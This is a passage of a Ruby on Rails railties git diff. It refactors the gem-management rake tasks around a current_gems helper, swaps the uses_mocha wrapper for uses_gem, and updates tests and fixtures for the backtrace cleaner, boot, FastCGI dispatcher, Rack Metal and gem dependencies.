Rake::Task[:environment].invoke
end
desc "Build any native extensions for unpacked gems"
task :build do
- $rails_rake_task = true
- require 'rails/gem_builder'
- Dir[File.join(Rails::GemDependency.unpacked_path, '*')].each do |gem_dir|
- spec_file = File.join(gem_dir, '.specification')
- next unless File.exists?(spec_file)
- specification = YAML::load_file(spec_file)
- next unless ENV['GEM'].blank? || ENV['GEM'] == specification.name
- Rails::GemBuilder.new(specification, gem_dir).build_extensions
- puts "Built gem: '#{gem_dir}'"
- end
+ $gems_build_rake_task = true
+ Rake::Task['gems:unpack'].invoke
+ current_gems.each &:build
end
- desc "Installs all required gems for this application."
+ desc "Installs all required gems."
task :install => :base do
- require 'rubygems'
- require 'rubygems/gem_runner'
- Rails.configuration.gems.each { |gem| gem.install unless gem.loaded? }
+ current_gems.each &:install
end
- desc "Unpacks the specified gem into vendor/gems."
- task :unpack => :base do
- require 'rubygems'
- require 'rubygems/gem_runner'
- Rails.configuration.gems.each do |gem|
- next unless !gem.frozen? && (ENV['GEM'].blank? || ENV['GEM'] == gem.name)
- gem.unpack_to(Rails::GemDependency.unpacked_path) if gem.loaded?
- end
+ desc "Unpacks all required gems into vendor/gems."
+ task :unpack => :install do
+ current_gems.each &:unpack
end
namespace :unpack do
- desc "Unpacks the specified gems and its dependencies into vendor/gems"
- task :dependencies => :unpack do
- require 'rubygems'
- require 'rubygems/gem_runner'
- Rails.configuration.gems.each do |gem|
- next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name
- gem.dependencies.each do |dependency|
- next if dependency.frozen?
- dependency.unpack_to(Rails::GemDependency.unpacked_path)
- end
- end
+ desc "Unpacks all required gems and their dependencies into vendor/gems."
+ task :dependencies => :install do
+ current_gems.each { |gem| gem.unpack(:recursive => true) }
end
end
desc "Regenerate gem specifications in correct format."
task :refresh_specs => :base do
- require 'rubygems'
- require 'rubygems/gem_runner'
- Rails::VendorGemSourceIndex.silence_spec_warnings = true
- Rails.configuration.gems.each do |gem|
- next unless gem.frozen? && (ENV['GEM'].blank? || ENV['GEM'] == gem.name)
- gem.refresh_spec(Rails::GemDependency.unpacked_path) if gem.loaded?
- end
+ current_gems.each &:refresh
end
-end \ No newline at end of file
+end
+
+def current_gems
+ gems = Rails.configuration.gems
+ gems = gems.select { |gem| gem.name == ENV['GEM'] } unless ENV['GEM'].blank?
+ gems
+end
+
+def print_gem_status(gem, indent=1)
+ code = case
+ when gem.framework_gem? then 'R'
+ when gem.frozen? then 'F'
+ when gem.installed? then 'I'
+ else ' '
+ end
+ puts " "*(indent-1)+" - [#{code}] #{gem.name} #{gem.requirement.to_s}"
+ gem.dependencies.each { |g| print_gem_status(g, indent+1) }
+end
diff --git a/railties/lib/tasks/testing.rake b/railties/lib/tasks/testing.rake
index 4242458672..fd5e52a05b 100644
--- a/railties/lib/tasks/testing.rake
+++ b/railties/lib/tasks/testing.rake
@@ -48,7 +48,7 @@ task :test do
task
end
end.compact
- abort "Errors running #{errors.to_sentence}!" if errors.any?
+ abort "Errors running #{errors.to_sentence(:locale => :en)}!" if errors.any?
end
namespace :test do
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
index b6edc03391..0addcb8bf3 100644
--- a/railties/test/abstract_unit.rb
+++ b/railties/test/abstract_unit.rb
@@ -1,22 +1,30 @@
$:.unshift File.dirname(__FILE__) + "/../../activesupport/lib"
+$:.unshift File.dirname(__FILE__) + "/../../activerecord/lib"
$:.unshift File.dirname(__FILE__) + "/../../actionpack/lib"
+$:.unshift File.dirname(__FILE__) + "/../../actionmailer/lib"
$:.unshift File.dirname(__FILE__) + "/../lib"
$:.unshift File.dirname(__FILE__) + "/../builtin/rails_info"
+require 'stringio'
require 'rubygems'
require 'test/unit'
-gem 'mocha', '>= 0.9.3'
+
+gem 'mocha', '>= 0.9.5'
require 'mocha'
-require 'stringio'
+
require 'active_support'
require 'active_support/test_case'
-def uses_mocha(test_name)
- yield
-end
-
if defined?(RAILS_ROOT)
RAILS_ROOT.replace File.dirname(__FILE__)
else
RAILS_ROOT = File.dirname(__FILE__)
-end \ No newline at end of file
+end
+
+def uses_gem(gem_name, test_name, version = '> 0')
+ gem gem_name.to_s, version
+ require gem_name.to_s
+ yield
+rescue LoadError
+ $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
+end
diff --git a/railties/test/backtrace_cleaner_test.rb b/railties/test/backtrace_cleaner_test.rb
index 5955fd2856..7a1b361440 100644
--- a/railties/test/backtrace_cleaner_test.rb
+++ b/railties/test/backtrace_cleaner_test.rb
@@ -3,26 +3,59 @@ require 'abstract_unit'
require 'initializer'
require 'rails/backtrace_cleaner'
-class TestWithBacktrace
- include Test::Unit::Util::BacktraceFilter
- include Rails::BacktraceFilterForTestUnit
+if defined? Test::Unit::Util::BacktraceFilter
+ class TestWithBacktrace
+ include Test::Unit::Util::BacktraceFilter
+ include Rails::BacktraceFilterForTestUnit
+ end
+
+ class BacktraceCleanerFilterTest < ActiveSupport::TestCase
+ def setup
+ @test = TestWithBacktrace.new
+ @backtrace = [ './test/rails/benchmark_test.rb', './test/rails/dependencies.rb', '/opt/local/lib/ruby/kernel.rb' ]
+ end
+
+ test "test with backtrace should use the rails backtrace cleaner to clean" do
+ Rails.stubs(:backtrace_cleaner).returns(stub(:clean))
+ Rails.backtrace_cleaner.expects(:clean).with(@backtrace, nil)
+ @test.filter_backtrace(@backtrace)
+ end
+
+ test "filter backtrace should have the same arity as Test::Unit::Util::BacktraceFilter" do
+ assert_nothing_raised do
+ @test.filter_backtrace(@backtrace, '/opt/local/lib')
+ end
+ end
+ end
+else
+ $stderr.puts 'No BacktraceFilter for minitest'
end
-class BacktraceCleanerFilterTest < ActiveSupport::TestCase
+class BacktraceCleanerVendorGemTest < ActiveSupport::TestCase
def setup
- @test = TestWithBacktrace.new
- @backtrace = [ './test/rails/benchmark_test.rb', './test/rails/dependencies.rb', '/opt/local/lib/ruby/kernel.rb' ]
+ @cleaner = Rails::BacktraceCleaner.new
end
-
- test "test with backtrace should use the rails backtrace cleaner to clean" do
- Rails.stubs(:backtrace_cleaner).returns(stub(:clean))
- Rails.backtrace_cleaner.expects(:clean).with(@backtrace, nil)
- @test.filter_backtrace(@backtrace)
+
+ test "should format installed gems correctly" do
+ @backtrace = [ "#{Gem.default_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+ @result = @cleaner.clean(@backtrace)
+ assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
end
-
- test "filter backtrace should have the same arity as Test::Unit::Util::BacktraceFilter" do
- assert_nothing_raised do
- @test.filter_backtrace(@backtrace, '/opt/local/lib')
+
+ test "should format installed gems not in Gem.default_dir correctly" do
+ @target_dir = Gem.path.detect { |p| p != Gem.default_dir }
+ # skip this test if default_dir is the only directory on Gem.path
+ if @target_dir
+ @backtrace = [ "#{@target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+ @result = @cleaner.clean(@backtrace)
+ assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
end
end
-end \ No newline at end of file
+
+ test "should format vendor gems correctly" do
+ @backtrace = [ "#{Rails::GemDependency.unpacked_path}/nosuchgem-1.2.3/lib/foo.rb" ]
+ @result = @cleaner.clean(@backtrace)
+ assert_equal "nosuchgem (1.2.3) [v] lib/foo.rb", @result[0]
+ end
+
+end
diff --git a/railties/test/boot_test.rb b/railties/test/boot_test.rb
index 7736a8f4c0..08fcc82e6f 100644
--- a/railties/test/boot_test.rb
+++ b/railties/test/boot_test.rb
@@ -2,8 +2,6 @@ require 'abstract_unit'
require 'initializer'
require "#{File.dirname(__FILE__)}/../environments/boot"
-uses_mocha 'boot tests' do
-
class BootTest < Test::Unit::TestCase
def test_boot_returns_if_booted
Rails.expects(:booted?).returns(true)
@@ -64,6 +62,8 @@ class VendorBootTest < Test::Unit::TestCase
def test_load_initializer_requires_from_vendor_rails
boot = VendorBoot.new
boot.expects(:require).with("#{RAILS_ROOT}/vendor/rails/railties/lib/initializer")
+ Rails::Initializer.expects(:run).with(:install_gem_spec_stubs)
+ Rails::GemDependency.expects(:add_frozen_gem_path)
boot.load_initializer
end
end
@@ -121,9 +121,6 @@ class GemBootTest < Test::Unit::TestCase
end
end
-end # uses_mocha
-
-
class ParseGemVersionTest < Test::Unit::TestCase
def test_should_return_nil_if_no_lines_are_passed
assert_equal nil, parse('')
diff --git a/railties/test/console_app_test.rb b/railties/test/console_app_test.rb
index f419fe0d8d..f11de087e3 100644
--- a/railties/test/console_app_test.rb
+++ b/railties/test/console_app_test.rb
@@ -11,19 +11,19 @@ require 'dispatcher'
require 'console_app'
# console_app sets Test::Unit.run to work around the at_exit hook in test/unit, which kills IRB
-Test::Unit.run = false
-
-class ConsoleAppTest < Test::Unit::TestCase
- def test_app_method_should_return_integration_session
- assert_nothing_thrown do
- console_session = app
- assert_not_nil console_session
- assert_instance_of ActionController::Integration::Session,
- console_session
+if Test::Unit.respond_to?(:run=)
+ Test::Unit.run = false
+
+ class ConsoleAppTest < Test::Unit::TestCase
+ def test_app_method_should_return_integration_session
+ assert_nothing_thrown do
+ console_session = app
+ assert_not_nil console_session
+ assert_instance_of ActionController::Integration::Session,
+ console_session
+ end
end
- end
- uses_mocha 'console reload test' do
def test_reload_should_fire_preparation_callbacks
a = b = c = nil
diff --git a/railties/test/error_page_test.rb b/railties/test/error_page_test.rb
deleted file mode 100644
index c0e8fe1ee0..0000000000
--- a/railties/test/error_page_test.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-require 'abstract_unit'
-require 'action_controller'
-require 'action_controller/testing/test_case'
-
-RAILS_ENV = "test"
-CURRENT_DIR = File.expand_path(File.dirname(__FILE__))
-HTML_DIR = File.expand_path(File.join(CURRENT_DIR, "..", "html"))
-
-module Rails
- def self.public_path
- CURRENT_DIR
- end
-end
-
-class ErrorPageController < ActionController::Base
- def crash
- raise StandardError, "crash!"
- end
-end
-
-ActionController::Routing::Routes.draw do |map|
- map.connect ':controller/:action/:id'
-end
-
-class ErrorPageControllerTest < ActionController::TestCase
- def setup
- ActionController::Base.consider_all_requests_local = false
- rescue_action_in_public!
- end
-
- def test_500_error_page_instructs_system_administrator_to_check_log_file
- template = ERB.new(File.read(File.join(HTML_DIR, "500.html")))
- File.open(File.join(CURRENT_DIR, "500.html"), "w") do |f|
- f.write(template.result)
- end
- get :crash
- expected_log_file = "#{RAILS_ENV}.log"
- assert_not_nil @response.body.index(expected_log_file), @response.body
- end
-end
diff --git a/railties/test/fcgi_dispatcher_test.rb b/railties/test/fcgi_dispatcher_test.rb
index c469c5dd01..c7a7f77118 100644
--- a/railties/test/fcgi_dispatcher_test.rb
+++ b/railties/test/fcgi_dispatcher_test.rb
@@ -1,9 +1,12 @@
require 'abstract_unit'
-begin
+uses_gem "fcgi", "0.8.7" do
+
require 'action_controller'
require 'fcgi_handler'
+Dispatcher.middleware.clear
+
class RailsFCGIHandlerTest < Test::Unit::TestCase
def setup
@log = StringIO.new
@@ -11,14 +14,14 @@ class RailsFCGIHandlerTest < Test::Unit::TestCase
end
def test_process_restart
- cgi = mock
- FCGI.stubs(:each_cgi).yields(cgi)
+ request = mock
+ FCGI.stubs(:each).yields(request)
@handler.expects(:process_request).once
@handler.expects(:dispatcher_error).never
@handler.expects(:when_ready).returns(:restart)
- @handler.expects(:close_connection).with(cgi)
+ @handler.expects(:close_connection).with(request)
@handler.expects(:reload!).never
@handler.expects(:restart!)
@@ -26,14 +29,14 @@ class RailsFCGIHandlerTest < Test::Unit::TestCase
end
def test_process_exit
- cgi = mock
- FCGI.stubs(:each_cgi).yields(cgi)
+ request = mock
+ FCGI.stubs(:each).yields(request)
@handler.expects(:process_request).once
@handler.expects(:dispatcher_error).never
@handler.expects(:when_ready).returns(:exit)
- @handler.expects(:close_connection).with(cgi)
+ @handler.expects(:close_connection).with(request)
@handler.expects(:reload!).never
@handler.expects(:restart!).never
@@ -41,8 +44,8 @@ class RailsFCGIHandlerTest < Test::Unit::TestCase
end
def test_process_with_system_exit_exception
- cgi = mock
- FCGI.stubs(:each_cgi).yields(cgi)
+ request = mock
+ FCGI.stubs(:each).yields(request)
@handler.expects(:process_request).once.raises(SystemExit)
@handler.stubs(:dispatcher_log)
@@ -110,9 +113,9 @@ class RailsFCGIHandlerTest < Test::Unit::TestCase
end
def test_uninterrupted_processing
- cgi = mock
- FCGI.expects(:each_cgi).yields(cgi)
- @handler.expects(:process_request).with(cgi)
+ request = mock
+ FCGI.expects(:each).yields(request)
+ @handler.expects(:process_request).with(request)
@handler.process!
@@ -138,8 +141,8 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
end
def test_interrupted_via_HUP_when_not_in_request
- cgi = mock
- FCGI.expects(:each_cgi).once.yields(cgi)
+ request = mock
+ FCGI.expects(:each).once.yields(request)
@handler.expects(:signal).times(2).returns('HUP')
@handler.expects(:reload!).once
@@ -151,13 +154,13 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
end
def test_interrupted_via_USR1_when_not_in_request
- cgi = mock
- FCGI.expects(:each_cgi).once.yields(cgi)
+ request = mock
+ FCGI.expects(:each).once.yields(request)
@handler.expects(:signal).times(2).returns('USR1')
@handler.expects(:exit_handler).never
@handler.expects(:reload!).never
- @handler.expects(:close_connection).with(cgi).once
+ @handler.expects(:close_connection).with(request).once
@handler.expects(:exit).never
@handler.process!
@@ -165,13 +168,13 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
end
def test_restart_via_USR2_when_in_request
- cgi = mock
- FCGI.expects(:each_cgi).once.yields(cgi)
+ request = mock
+ FCGI.expects(:each).once.yields(request)
@handler.expects(:signal).times(2).returns('USR2')
@handler.expects(:exit_handler).never
@handler.expects(:reload!).never
- @handler.expects(:close_connection).with(cgi).once
+ @handler.expects(:close_connection).with(request).once
@handler.expects(:exit).never
@handler.expects(:restart!).once
@@ -180,8 +183,8 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
end
def test_interrupted_via_TERM
- cgi = mock
- FCGI.expects(:each_cgi).once.yields(cgi)
+ request = mock
+ FCGI.expects(:each).once.yields(request)
::Rack::Handler::FastCGI.expects(:serve).once.returns('TERM')
@handler.expects(:reload!).never
@@ -193,16 +196,16 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
def test_runtime_exception_in_fcgi
error = RuntimeError.new('foo')
- FCGI.expects(:each_cgi).times(2).raises(error)
+ FCGI.expects(:each).times(2).raises(error)
@handler.expects(:dispatcher_error).with(error, regexp_matches(/^retrying/))
@handler.expects(:dispatcher_error).with(error, regexp_matches(/^stopping/))
@handler.process!
end
def test_runtime_error_in_dispatcher
- cgi = mock
+ request = mock
error = RuntimeError.new('foo')
- FCGI.expects(:each_cgi).once.yields(cgi)
+ FCGI.expects(:each).once.yields(request)
::Rack::Handler::FastCGI.expects(:serve).once.raises(error)
@handler.expects(:dispatcher_error).with(error, regexp_matches(/^unhandled/))
@handler.process!
@@ -210,15 +213,15 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
def test_signal_exception_in_fcgi
error = SignalException.new('USR2')
- FCGI.expects(:each_cgi).once.raises(error)
+ FCGI.expects(:each).once.raises(error)
@handler.expects(:dispatcher_error).with(error, regexp_matches(/^stopping/))
@handler.process!
end
def test_signal_exception_in_dispatcher
- cgi = mock
+ request = mock
error = SignalException.new('USR2')
- FCGI.expects(:each_cgi).once.yields(cgi)
+ FCGI.expects(:each).once.yields(request)
::Rack::Handler::FastCGI.expects(:serve).once.raises(error)
@handler.expects(:dispatcher_error).with(error, regexp_matches(/^stopping/))
@handler.process!
@@ -247,9 +250,8 @@ class RailsFCGIHandlerPeriodicGCTest < Test::Unit::TestCase
@handler = RailsFCGIHandler.new(@log, 10)
assert_equal 10, @handler.gc_request_period
- cgi = mock
- FCGI.expects(:each_cgi).times(10).yields(cgi)
- Dispatcher.expects(:new).times(10)
+ request = mock
+ FCGI.expects(:each).times(10).yields(request)
@handler.expects(:run_gc!).never
9.times { @handler.process! }
@@ -259,7 +261,4 @@ class RailsFCGIHandlerPeriodicGCTest < Test::Unit::TestCase
assert_nil @handler.when_ready
end
end
-
-rescue LoadError => e
- raise unless e.message =~ /fcgi/
-end
+end # uses_gem "fcgi"
diff --git a/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb b/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb
new file mode 100644
index 0000000000..2d373ce422
--- /dev/null
+++ b/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb
@@ -0,0 +1,5 @@
+class MetalA < Rails::Rack::Metal
+ def self.call(env)
+ [200, { "Content-Type" => "text/html"}, ["Hi"]]
+ end
+end
diff --git a/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb b/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb
new file mode 100644
index 0000000000..a8bbf3fd60
--- /dev/null
+++ b/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb
@@ -0,0 +1,5 @@
+class MetalB < Rails::Rack::Metal
+ def self.call(env)
+ [200, { "Content-Type" => "text/html"}, ["Hi"]]
+ end
+end
diff --git a/railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb b/railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb
new file mode 100644
index 0000000000..0cd3737c32
--- /dev/null
+++ b/railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb
@@ -0,0 +1,5 @@
+class LegacyRoutes < Rails::Rack::Metal
+ def self.call(env)
+ [301, { "Location" => "http://example.com"}, []]
+ end
+end
diff --git a/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb b/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb
new file mode 100644
index 0000000000..5f5b087592
--- /dev/null
+++ b/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb
@@ -0,0 +1,5 @@
+class FooMetal < Rails::Rack::Metal
+ def self.call(env)
+ [200, { "Content-Type" => "text/html"}, ["Hi"]]
+ end
+end
diff --git a/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb b/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb
new file mode 100644
index 0000000000..25b3bb0abc
--- /dev/null
+++ b/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb
@@ -0,0 +1,7 @@
+module Folder
+ class MetalA < Rails::Rack::Metal
+ def self.call(env)
+ [200, { "Content-Type" => "text/html"}, ["Hi"]]
+ end
+ end
+end
diff --git a/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb b/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb
new file mode 100644
index 0000000000..7583363f71
--- /dev/null
+++ b/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb
@@ -0,0 +1,7 @@
+module Folder
+ class MetalB < Rails::Rack::Metal
+ def self.call(env)
+ [200, { "Content-Type" => "text/html"}, ["Hi"]]
+ end
+ end
+end
diff --git a/railties/test/fixtures/plugins/engines/engine/app/metal/engine_metal.rb b/railties/test/fixtures/plugins/engines/engine/app/metal/engine_metal.rb
new file mode 100644
index 0000000000..d67a127ca7
--- /dev/null
+++ b/railties/test/fixtures/plugins/engines/engine/app/metal/engine_metal.rb
@@ -0,0 +1,10 @@
+class EngineMetal
+ def self.call(env)
+ if env["PATH_INFO"] =~ /^\/metal/
+ [200, {"Content-Type" => "text/html"}, ["Engine metal"]]
+ else
+ [404, {"Content-Type" => "text/html"}, ["Not Found"]]
+ end
+ end
+end
+
diff --git a/railties/test/fixtures/plugins/engines/engine/init.rb b/railties/test/fixtures/plugins/engines/engine/init.rb
index f4b00c0fa4..64e9ae6c30 100644
--- a/railties/test/fixtures/plugins/engines/engine/init.rb
+++ b/railties/test/fixtures/plugins/engines/engine/init.rb
@@ -1,3 +1,3 @@
# My app/models dir must be in the load path.
require 'engine_model'
-raise 'missing model from my app/models dir' unless defined?(EngineModel)
+raise LoadError, 'missing model from my app/models dir' unless defined?(EngineModel)
diff --git a/railties/test/fixtures/public/foo/bar.html b/railties/test/fixtures/public/foo/bar.html
new file mode 100644
index 0000000000..9a35646205
--- /dev/null
+++ b/railties/test/fixtures/public/foo/bar.html
@@ -0,0 +1 @@
+/foo/bar.html \ No newline at end of file
diff --git a/railties/test/fixtures/public/foo/index.html b/railties/test/fixtures/public/foo/index.html
new file mode 100644
index 0000000000..497a2e898f
--- /dev/null
+++ b/railties/test/fixtures/public/foo/index.html
@@ -0,0 +1 @@
+/foo/index.html \ No newline at end of file
diff --git a/railties/test/fixtures/public/index.html b/railties/test/fixtures/public/index.html
new file mode 100644
index 0000000000..525950ba6b
--- /dev/null
+++ b/railties/test/fixtures/public/index.html
@@ -0,0 +1 @@
+/index.html \ No newline at end of file
diff --git a/railties/test/gem_dependency_test.rb b/railties/test/gem_dependency_test.rb
index 6c1f0961a1..189ad02b76 100644
--- a/railties/test/gem_dependency_test.rb
+++ b/railties/test/gem_dependency_test.rb
@@ -6,141 +6,142 @@ end
Rails::VendorGemSourceIndex.silence_spec_warnings = true
-uses_mocha "Plugin Tests" do
- class GemDependencyTest < Test::Unit::TestCase
- def setup
- @gem = Rails::GemDependency.new "xhpricotx"
- @gem_with_source = Rails::GemDependency.new "xhpricotx", :source => "http://code.whytheluckystiff.net"
- @gem_with_version = Rails::GemDependency.new "xhpricotx", :version => "= 0.6"
- @gem_with_lib = Rails::GemDependency.new "xaws-s3x", :lib => "aws/s3"
- @gem_without_load = Rails::GemDependency.new "xhpricotx", :lib => false
- end
+class GemDependencyTest < Test::Unit::TestCase
+ def setup
+ @gem = Rails::GemDependency.new "xhpricotx"
+ @gem_with_source = Rails::GemDependency.new "xhpricotx", :source => "http://code.whytheluckystiff.net"
+ @gem_with_version = Rails::GemDependency.new "xhpricotx", :version => "= 0.6"
+ @gem_with_lib = Rails::GemDependency.new "xaws-s3x", :lib => "aws/s3"
+ @gem_without_load = Rails::GemDependency.new "xhpricotx", :lib => false
+ end
- def test_configuration_adds_gem_dependency
- config = Rails::Configuration.new
- config.gem "xaws-s3x", :lib => "aws/s3", :version => "0.4.0"
- assert_equal [["install", "xaws-s3x", "--version", '"= 0.4.0"']], config.gems.collect(&:install_command)
- end
+ def test_configuration_adds_gem_dependency
+ config = Rails::Configuration.new
+ config.gem "xaws-s3x", :lib => "aws/s3", :version => "0.4.0"
+ assert_equal [["install", "xaws-s3x", "--version", '"= 0.4.0"']], config.gems.collect(&:install_command)
+ end
- def test_gem_creates_install_command
- assert_equal %w(install xhpricotx), @gem.install_command
- end
+ def test_gem_creates_install_command
+ assert_equal %w(install xhpricotx), @gem.install_command
+ end
- def test_gem_with_source_creates_install_command
- assert_equal %w(install xhpricotx --source http://code.whytheluckystiff.net), @gem_with_source.install_command
- end
+ def test_gem_with_source_creates_install_command
+ assert_equal %w(install xhpricotx --source http://code.whytheluckystiff.net), @gem_with_source.install_command
+ end
- def test_gem_with_version_creates_install_command
- assert_equal ["install", "xhpricotx", "--version", '"= 0.6"'], @gem_with_version.install_command
- end
+ def test_gem_with_version_creates_install_command
+ assert_equal ["install", "xhpricotx", "--version", '"= 0.6"'], @gem_with_version.install_command
+ end
- def test_gem_creates_unpack_command
- assert_equal %w(unpack xhpricotx), @gem.unpack_command
- end
+ def test_gem_creates_unpack_command
+ assert_equal %w(unpack xhpricotx), @gem.unpack_command
+ end
- def test_gem_with_version_unpack_install_command
- # stub out specification method, or else test will fail if hpricot 0.6 isn't installed
- mock_spec = mock()
- mock_spec.stubs(:version).returns('0.6')
- @gem_with_version.stubs(:specification).returns(mock_spec)
- assert_equal ["unpack", "xhpricotx", "--version", '= 0.6'], @gem_with_version.unpack_command
- end
+ def test_gem_with_version_unpack_install_command
+ # stub out specification method, or else test will fail if hpricot 0.6 isn't installed
+ mock_spec = mock()
+ mock_spec.stubs(:version).returns('0.6')
+ @gem_with_version.stubs(:specification).returns(mock_spec)
+ assert_equal ["unpack", "xhpricotx", "--version", '= 0.6'], @gem_with_version.unpack_command
+ end
- def test_gem_adds_load_paths
- @gem.expects(:gem).with(Gem::Dependency.new(@gem.name, nil))
- @gem.add_load_paths
- end
+ def test_gem_adds_load_paths
+ @gem.expects(:gem).with(@gem)
+ @gem.add_load_paths
+ end
- def test_gem_with_version_adds_load_paths
- @gem_with_version.expects(:gem).with(Gem::Dependency.new(@gem_with_version.name, @gem_with_version.requirement.to_s))
- @gem_with_version.add_load_paths
- end
+ def test_gem_with_version_adds_load_paths
+ @gem_with_version.expects(:gem).with(@gem_with_version)
+ @gem_with_version.add_load_paths
+ assert @gem_with_version.load_paths_added?
+ end
- def test_gem_loading
- @gem.expects(:gem).with(Gem::Dependency.new(@gem.name, nil))
- @gem.expects(:require).with(@gem.name)
- @gem.add_load_paths
- @gem.load
- end
+ def test_gem_loading
+ @gem.expects(:gem).with(@gem)
+ @gem.expects(:require).with(@gem.name)
+ @gem.add_load_paths
+ @gem.load
+ assert @gem.loaded?
+ end
- def test_gem_with_lib_loading
- @gem_with_lib.expects(:gem).with(Gem::Dependency.new(@gem_with_lib.name, nil))
- @gem_with_lib.expects(:require).with(@gem_with_lib.lib)
- @gem_with_lib.add_load_paths
- @gem_with_lib.load
- end
+ def test_gem_with_lib_loading
+ @gem_with_lib.expects(:gem).with(@gem_with_lib)
+ @gem_with_lib.expects(:require).with(@gem_with_lib.lib)
+ @gem_with_lib.add_load_paths
+ @gem_with_lib.load
+ assert @gem_with_lib.loaded?
+ end
- def test_gem_without_lib_loading
- @gem_without_load.expects(:gem).with(Gem::Dependency.new(@gem_without_load.name, nil))
- @gem_without_load.expects(:require).with(@gem_without_load.lib).never
- @gem_without_load.add_load_paths
- @gem_without_load.load
- end
+ def test_gem_without_lib_loading
+ @gem_without_load.expects(:gem).with(@gem_without_load)
+ @gem_without_load.expects(:require).with(@gem_without_load.lib).never
+ @gem_without_load.add_load_paths
+ @gem_without_load.load
+ end
- def test_gem_dependencies_compare_for_uniq
- gem1 = Rails::GemDependency.new "gem1"
- gem1a = Rails::GemDependency.new "gem1"
- gem2 = Rails::GemDependency.new "gem2"
- gem2a = Rails::GemDependency.new "gem2"
- gem3 = Rails::GemDependency.new "gem2", :version => ">=0.1"
- gem3a = Rails::GemDependency.new "gem2", :version => ">=0.1"
- gem4 = Rails::GemDependency.new "gem3"
- gems = [gem1, gem2, gem1a, gem3, gem2a, gem4, gem3a, gem2, gem4]
- assert_equal 4, gems.uniq.size
- end
+ def test_gem_dependencies_compare_for_uniq
+ gem1 = Rails::GemDependency.new "gem1"
+ gem1a = Rails::GemDependency.new "gem1"
+ gem2 = Rails::GemDependency.new "gem2"
+ gem2a = Rails::GemDependency.new "gem2"
+ gem3 = Rails::GemDependency.new "gem2", :version => ">=0.1"
+ gem3a = Rails::GemDependency.new "gem2", :version => ">=0.1"
+ gem4 = Rails::GemDependency.new "gem3"
+ gems = [gem1, gem2, gem1a, gem3, gem2a, gem4, gem3a, gem2, gem4]
+ assert_equal 4, gems.uniq.size
+ end
- def test_gem_load_frozen
- dummy_gem = Rails::GemDependency.new "dummy-gem-a"
- dummy_gem.add_load_paths
- dummy_gem.load
- assert_not_nil DUMMY_GEM_A_VERSION
- end
+ def test_gem_load_frozen
+ dummy_gem = Rails::GemDependency.new "dummy-gem-a"
+ dummy_gem.add_load_paths
+ dummy_gem.load
+ assert_not_nil DUMMY_GEM_A_VERSION
+ end
- def test_gem_load_frozen_specific_version
- dummy_gem = Rails::GemDependency.new "dummy-gem-b", :version => '0.4.0'
- dummy_gem.add_load_paths
- dummy_gem.load
- assert_not_nil DUMMY_GEM_B_VERSION
- assert_equal '0.4.0', DUMMY_GEM_B_VERSION
- end
+ def test_gem_load_frozen_specific_version
+ dummy_gem = Rails::GemDependency.new "dummy-gem-b", :version => '0.4.0'
+ dummy_gem.add_load_paths
+ dummy_gem.load
+ assert_not_nil DUMMY_GEM_B_VERSION
+ assert_equal '0.4.0', DUMMY_GEM_B_VERSION
+ end
- def test_gem_load_frozen_minimum_version
- dummy_gem = Rails::GemDependency.new "dummy-gem-c", :version => '>=0.5.0'
- dummy_gem.add_load_paths
- dummy_gem.load
- assert_not_nil DUMMY_GEM_C_VERSION
- assert_equal '0.6.0', DUMMY_GEM_C_VERSION
- end
+ def test_gem_load_frozen_minimum_version
+ dummy_gem = Rails::GemDependency.new "dummy-gem-c", :version => '>=0.5.0'
+ dummy_gem.add_load_paths
+ dummy_gem.load
+ assert_not_nil DUMMY_GEM_C_VERSION
+ assert_equal '0.6.0', DUMMY_GEM_C_VERSION
+ end
- def test_gem_load_missing_specification
- dummy_gem = Rails::GemDependency.new "dummy-gem-d"
- dummy_gem.add_load_paths
- dummy_gem.load
- assert_not_nil DUMMY_GEM_D_VERSION
- assert_equal '1.0.0', DUMMY_GEM_D_VERSION
- assert_equal ['lib', 'lib/dummy-gem-d.rb'], dummy_gem.specification.files
- end
+ def test_gem_load_missing_specification
+ dummy_gem = Rails::GemDependency.new "dummy-gem-d"
+ dummy_gem.add_load_paths
+ dummy_gem.load
+ assert_not_nil DUMMY_GEM_D_VERSION
+ assert_equal '1.0.0', DUMMY_GEM_D_VERSION
+ assert_equal ['lib', 'lib/dummy-gem-d.rb'], dummy_gem.specification.files
+ end
- def test_gem_load_bad_specification
- dummy_gem = Rails::GemDependency.new "dummy-gem-e", :version => "= 1.0.0"
- dummy_gem.add_load_paths
- dummy_gem.load
- assert_not_nil DUMMY_GEM_E_VERSION
- assert_equal '1.0.0', DUMMY_GEM_E_VERSION
- end
+ def test_gem_load_bad_specification
+ dummy_gem = Rails::GemDependency.new "dummy-gem-e", :version => "= 1.0.0"
+ dummy_gem.add_load_paths
+ dummy_gem.load
